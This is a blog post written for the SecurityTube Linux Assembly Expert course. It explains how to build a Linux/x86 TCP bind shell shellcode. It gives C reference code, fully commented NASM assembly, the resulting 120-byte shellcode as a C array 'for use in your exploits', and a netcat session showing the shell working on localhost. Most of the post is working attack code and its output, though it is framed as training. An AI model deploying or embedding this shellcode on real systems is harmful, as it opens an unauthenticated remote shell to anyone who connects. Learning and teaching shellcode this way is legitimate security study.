Introduction
This blog series has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-877
This course is an introduction to writing shellcode for Linux systems running on 32 bit x86 architecture. It consists of seven assignments:
- Writing a TCP bind shell shellcode
- Writing a reverse (connectback) shellcode
- A demonstration of an egg hunter shellcode
- Crafting a shellcode encoder
- Analyzing existing shellcodes
- Polymorphic shellcode
- Writing a shellcode crypter
The final exam’s format is not a traditional multiple choice test. Each assignment must be completed, the code posted on GitHub, and accompanied by a blog post that walks the reader through each assignment.
So far, I feel that this course is an excellent value and the material to be of high quality. I’d recommend this course to anybody that wants to learn how to write shellcode even though it is for x86 processors rather than 64 bit. The concepts are mostly the same, and I believe 32 bit x86 assembly is easier to learn initially than 64 bit. Most of the concepts directly transfer over to 64 bit x86.
In order to follow along, the reader should be familiar with C programming, the Linux command line, and know basic x86 assembler. This doesn’t require wizard-like knowledge of assembler, but you need to know what registers are and some of the basic instructions such as push, pop, mov, cmp, etc. If this is not familiar to you, I recommend the book Programming From the Ground Up before continuing with this exercise.
To get the code provided in this exercise:
% git clone https://github.com/droberson/SLAE.git
Relevant files to this exercise will be in the Assignment-1 directory. Each assignment’s directory contains a Makefile that should compile all of the code necessary to follow along. This has only been tested on 64 bit Linux systems with multilib gcc and nasm installed:
% sudo apt install gcc-multilib nasm
What is A Bind Shell?
A bind shell listens for incoming TCP connections on a specified port and executes a shell once a connection has been established. The port to bind to must be easily configured to satisfy the requirements of this exercise. The following example written in C is what this shellcode aims to accomplish:
#include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> int main() { int s, c; unsigned short port = 4444; struct sockaddr_in addr; s = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = INADDR_ANY; bind(s, (struct sockaddr*)&addr, sizeof(addr)); listen(s, 0); c = accept(s, NULL, NULL); dup2(c, STDERR_FILENO); dup2(c, STDOUT_FILENO); dup2(c, STDIN_FILENO); execve("/bin/sh", NULL, NULL); return 0; }
This code listens on all interfaces available on the machine on port 4444, accepts the first connection, duplicates standard in, standard out, and standard error file descriptors to the incoming connection, and provides a shell interface to whoever connects to it.
These types of shells aren’t usually ideal due to firewalls, NAT, and other networking and system level hurdles, but it is a good example to learn with.
Keep in mind that on most systems, you must have a high privileged account to bind to a port below 1024. This means that you must be root.
This shellcode will also break if the port number once translated into a usable format (big endian, network byte order) contains a NULL byte. For example, port 1280 would not work with this shell code because of the 0x00 byte once translated to network byte order:
% python -c "import socket; print '0x%04x' % socket.htons(1280)"
0x0005
For completeness, ports 1-255 and the following may not be used due to this limitation with NULL bytes:
% for i in {1..255}; do echo "$i * 256" | bc; done |column
256 6912 13568 20224 26880 33536 40192 46848 53504 60160
512 7168 13824 20480 27136 33792 40448 47104 53760 60416
768 7424 14080 20736 27392 34048 40704 47360 54016 60672
1024 7680 14336 20992 27648 34304 40960 47616 54272 60928
1280 7936 14592 21248 27904 34560 41216 47872 54528 61184
1536 8192 14848 21504 28160 34816 41472 48128 54784 61440
1792 8448 15104 21760 28416 35072 41728 48384 55040 61696
2048 8704 15360 22016 28672 35328 41984 48640 55296 61952
2304 8960 15616 22272 28928 35584 42240 48896 55552 62208
2560 9216 15872 22528 29184 35840 42496 49152 55808 62464
2816 9472 16128 22784 29440 36096 42752 49408 56064 62720
3072 9728 16384 23040 29696 36352 43008 49664 56320 62976
3328 9984 16640 23296 29952 36608 43264 49920 56576 63232
3584 10240 16896 23552 30208 36864 43520 50176 56832 63488
3840 10496 17152 23808 30464 37120 43776 50432 57088 63744
4096 10752 17408 24064 30720 37376 44032 50688 57344 64000
4352 11008 17664 24320 30976 37632 44288 50944 57600 64256
4608 11264 17920 24576 31232 37888 44544 51200 57856 64512
4864 11520 18176 24832 31488 38144 44800 51456 58112 64768
5120 11776 18432 25088 31744 38400 45056 51712 58368 65024
5376 12032 18688 25344 32000 38656 45312 51968 58624 65280
5632 12288 18944 25600 32256 38912 45568 52224 58880
5888 12544 19200 25856 32512 39168 45824 52480 59136
6144 12800 19456 26112 32768 39424 46080 52736 59392
6400 13056 19712 26368 33024 39680 46336 52992 59648
6656 13312 19968 26624 33280 39936 46592 53248 59904
Calling Conventions
The calling convention scheme used on Linux/x86 to call system calls is roughly as follows:
- EAX is set to the system call number
- EBX – EDX are parameters for the function being called
- INT 0x80 makes the call
- Return value is stored in the EAX register.
http://syscalls.kernelgrok.com/ contains a nice chart to reference system call numbers and their parameters.
To illustrate this concept, the following assembly code is a simple call to exit(2):
mov eax, 1 ; exit is system call number 1
mov ebx, 2 ; want to exit(1)
int 0x80 ; call exit(2)
Worth noting before we move on, Linux has multiplexed many of the networking API calls into socketcall(), which is system call number 102. This means that EAX must be set to 102 and EBX set to the appropriate value for the function you want to call. These values are defined in /usr/include/linux/net.h:
% grep SYS_ /usr/include/linux/net.h
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
#define SYS_ACCEPT4 18 /* sys_accept4(2) */
#define SYS_RECVMMSG 19 /* sys_recvmmsg(2) */
#define SYS_SENDMMSG 20 /* sys_sendmmsg(2) */
Tying it all together
Using the information provided about the calling conventions on Linux and the system call number chart, I cobbled together a working bindshell shellcode. This was tested using test.c located within the Assignment-1 directory.
My original code spawned a shell, but contained NULL bytes. Using a couple of tricks such as referring to AX rather than EAX and using XOR to zero out registers, I was able to eliminate all NULL bytes. I also created a loop for dup2() so I didn’t have to hand code three calls to this function. Hopefully the comments in the example provided below shed some light on this:
; Linux/x86 bindshell shellcode
; By Daniel Roberson -- @dmfroberson -- daniel@planethacker.net
;
; For the SecurityTube Linux Assembly Expert course.
; SLAE-877
BITS 32
;
; Port number. In network byte order. Calculate with Python:
; python -c "import socket; print '0x%04x' % socket.htons(1280)"
;
PORT equ 0x5c11 ; port to bind to
xor eax, eax ; zero out eax register
xor ebx, ebx ; zero out ebx register
xor edx, edx ; zero out ebx register
add eax, 102 ; socketcall() -- changed to add to get rid of null byte
inc ebx ; socket() -- changed to inc to get rid of null byte
push edx ; protocol. 0 = IP
push 1 ; SOCK_STREAM
push 2 ; AF_INET
mov ecx, esp ; array of arguments for socket()
int 0x80 ; call socket()
mov esi, eax ; move fd for socket into esi
xor eax, eax ; zero out eax
add eax, 102 ; socketcall() -- got rid of the null byte
inc ebx ; bind()
push edx ; INADDR_ANY
mov cx, PORT ; use cx rather than ecx to remove two null bytes
push cx
push word 2 ; AF_INET
mov ecx, esp ; bind() args
push 16 ; size
push ecx ; fd
push esi ; socket fd
mov ecx, esp ; call bind()
int 0x80
xor eax, eax ; zero out eax
add eax, 102 ; socketcall() -- changed to add to remove null byte
xor ebx, ebx ; zero out ebx
add ebx, 4 ; listen() -- changed to add to remove null byte
push edx ; backlog = 0
push esi ; socket fd
mov ecx, esp ; listen arguments
int 0x80 ; call listen()
xor eax, eax ; zero out eax
add eax, 102 ; socketcall() -- changed to add to remove null byte
xor ebx, ebx ; zero out ebx
add ebx, 5 ; accept() -- changed to add to remove null byte
push edx ; zero addrlen
push edx ; null sockaddr
push esi ; sockfd
mov ecx, esp ; accept() arguments
int 0x80 ; call socketcall()
xchg ebx, eax ; store socket fd for dup2()
xor ecx, ecx ; zero out ecx
mov cl, 2 ; initialize counter
loop: ; dup2() loop for stdin, stdout, stderr
xor eax, eax ; zero out eax
add eax, 63 ; dup2()
int 0x80 ; call dup2()
dec ecx ; decrease counter
jns loop ;
xchg eax, edx ; copy null byte into eax
push eax ; push null byte
push 0x68732f2f ; //sh
push 0x6e69622f ; /bin
mov ebx, esp ;
push eax ; null
push ebx ; address of /bin/sh
mov ecx, esp ;
push eax ; null
mov edx, esp ; envp
mov al, 11 ; execve()
int 0x80 ; call execve()
To change the port, refer to the source file bindshell.asm for the python one liner to provide the port number in network byte order. Simply replace the hexadecimal value of PORT and recompile using make. Finally, you can test the code and get the C array for use in your exploits using test.c:
% make clean
rm -rf shellcode bindshell test *~
% make
gcc -g -m32 -o bindshell bindshell.c
bindshell.c: In function ‘main’:
bindshell.c:30:3: warning: null argument where non-null required (argument 2) [-Wnonnull]
execve("/bin/sh", NULL, NULL);
^
gcc -m32 -fno-stack-protector -z execstack -o test test.c
nasm -o shellcode bindshell.asm
% ./test shellcode
Testing shellcode contained in shellcode
char shellcode[] = "\x31\xc0\x31\xdb\x31\xd2\x83\xc0\x66\x43"
"\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\x31\xc0\x83\xc0\x66\x43\x52\x66\xb9"
"\x11\x5c\x66\x51\x66\x6a\x02\x89\xe1\x6a"
"\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\x83"
"\xc0\x66\x31\xdb\x83\xc3\x04\x52\x56\x89"
"\xe1\xcd\x80\x31\xc0\x83\xc0\x66\x31\xdb"
"\x83\xc3\x05\x52\x52\x56\x89\xe1\xcd\x80"
"\x93\x31\xc9\xb1\x02\x31\xc0\x83\xc0\x3f"
"\xcd\x80\x49\x79\xf6\x92\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80";
Length: 120
Executing shellcode..
From another terminal, I use netcat to verify that this is indeed working:
% nc -v localhost 4444
Connection to localhost 4444 port [tcp/*] succeeded!
uname -a
Linux vagrant 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
Pingback: SLAE #2: Reverse Shell For Linux/x86 – DMFROBERSON